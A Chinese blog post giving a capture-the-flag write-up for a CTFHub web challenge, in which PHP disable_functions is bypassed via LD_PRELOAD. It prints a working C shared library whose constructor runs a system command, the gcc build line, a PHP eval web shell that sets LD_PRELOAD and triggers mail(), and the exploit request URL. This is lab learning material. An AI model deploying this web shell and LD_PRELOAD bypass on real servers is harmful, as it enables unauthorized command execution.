ctf web方向与php学习记录27

针对一道ctfhub上的LD_PRELOAD,我进行了为期三天的学习和总结,以下是总结和收集的资料,由于是在onenote上作的笔记,就不在花功夫对文字进行编辑了,大家自行阅览,希望能对你起到帮助。
在这里插入图片描述
在这里插入图片描述在这里插入图片描述接下来我给出的wp。
一,蚁剑连接
在这里插入图片描述二,创建hack.c并转共享hack.so
hack.c代码

#include <stdio.h>
#include <unistd.h>
#include <stdio.h>

__attribute__ ((__constructor__)) void angel (void){
    unsetenv("LD_PRELOAD");
    system("/readflag > /tmp/sunian");
}

利用gcc进行编译。
gcc -shared -fPIC hack.c -o hack.so

在这里插入图片描述
三,设置环境变量
sunian.php源码

<?php
  @eval($_REQUEST['ant']);
  putenv("LD_PRELOAD=/tmp/hack.so");
  error_log("admin",1);
  mail("admin@localhost","","","","");
?>

并将hack.so放入/tmp目录下。
在这里插入图片描述将sunian.php直接拖入蚁剑的html目录下。
在这里插入图片描述这里要注意‘,’的问题。
在这里插入图片描述
四,利用playload运行连接动态连接库的sunian.php
GET请求包含sunian.php

url/?ant=include(%27sunian.php%27);

http://challenge-3d1303d54c4a9b70.sandbox.ctfhub.com:10080/?ant=include(%27sunian.php%27);
根据源码,flag就在生成的sunian文件中。
在这里插入图片描述在这里插入图片描述最后,这道题涉及的知识一定不仅仅只有本文所述内容,还请各位CTFer,多多指正。

  • 2
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

这周末在做梦

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值